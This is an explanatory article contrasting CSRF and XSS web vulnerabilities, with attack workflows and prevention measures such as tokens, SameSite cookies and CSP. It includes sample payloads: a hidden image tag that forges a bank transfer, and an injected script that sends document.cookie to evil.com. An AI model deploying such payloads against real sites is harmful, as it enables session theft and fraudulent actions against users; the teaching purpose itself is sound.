CSRF vs XSS: What Is the Difference?

Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS) are two of the most common web-application security vulnerabilities, yet they operate fundamentally differently. Understanding the distinctions is critical for designing effective defense-in-depth strategies. Below, we break down each vulnerability, compare its characteristics side-by-side, and review practical prevention techniques.

‍

1. What is CSRF, and XSS

Cross-Site Request Forgery (CSRF)

A CSRF attack tricks an authenticated user’s browser into sending unwanted actions to a web application where the user is logged in. Because the browser automatically includes session cookies or other credentials, the forged request runs with the user’s privileges.

• Victim: The legitimate user’s session
• Attacker goal: Force state-changing operations (e.g., transfer funds, change password)
• Common vector: Hidden HTML forms or image tags pointing to sensitive endpoints

Cross-Site Scripting (XSS)

An XSS attack injects malicious scripts (usually JavaScript) into web pages viewed by other users. When executed in a victim’s browser, the script can steal cookies, perform actions as the user, or manipulate the page content.

• Victim: Any user viewing the malicious content
• Attacker goal: Execute arbitrary scripts in the victim’s context
• Common vector: Unsanitized user input reflected or stored in web pages

‍

2. Key Differences

‍

3. How They Work

CSRF Workflow

1. Setup: Attacker crafts a malicious webpage (e.g., a forum post) containing a hidden form or auto-submitting script targeting a sensitive endpoint on Victim’s bank site.
2. Lure: Victim, already logged into the bank site, visits the attacker’s page.
3. Execution: Hidden form auto-submits, sending a fund‐transfer request with the victim’s session cookie.
4. Result: Bank processes the request, believing it was legitimately initiated by the user.

<!-- Example CSRF payload: -->
<img src="https://bank.example.com/transfer?amount=1000&to=attacker" style="display:none">
<script>document.images[0].src += "";</script>

‍

XSS Workflow

1. Injection: Attacker discovers an input field (e.g., comments, search) vulnerable to script injection.
2. Payload: Attacker submits <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>.
3. Storage/Reflection: Application saves or immediately reflects this payload into a page.
4. Execution: When another user loads the page, the browser runs the attacker’s script under the application’s domain.

<!-- Example reflected XSS: -->
<a href="/search?q=<script>alert('XSS')</script>">Search</a>

‍

4. Prevention Strategies

Defending Against CSRF

• Anti-CSRF Tokens: Embed a cryptographically strong token in forms and validate it server-side on each state-changing request.
• SameSite Cookies: Configure session cookies with SameSite=Lax or Strict to block them from cross-site requests.
• Double Submit Cookie: Send a CSRF token both as a cookie and a request parameter, and verify they match.

Defending Against XSS

• Input Validation/Sanitization: Reject or cleanse any input containing HTML or script fragments.
• Output Encoding: Escape output for HTML, JavaScript, and URL contexts (e.g., using OWASP’s Encoding Project libraries).
• Content Security Policy (CSP): Define a strict CSP to restrict script sources and disallow inline scripts.
• HTTP-Only Cookies: Mark cookies HttpOnly to prevent JavaScript from reading session tokens.

‍

5. Conclusion

While both CSRF and XSS exploit the trust relationship between users and web applications, their attack vectors, prerequisites, and impacts differ significantly:

• CSRF abuses authenticated state to forge requests.
• XSS abuses input-output processing to execute unauthorized scripts.

A robust security posture demands tailored defenses against both: anti-CSRF tokens and cookie policies to stop CSRF, combined with strict input/output sanitization and CSP to eliminate XSS. Together, these measures form an essential layer of defense in depth for modern web applications.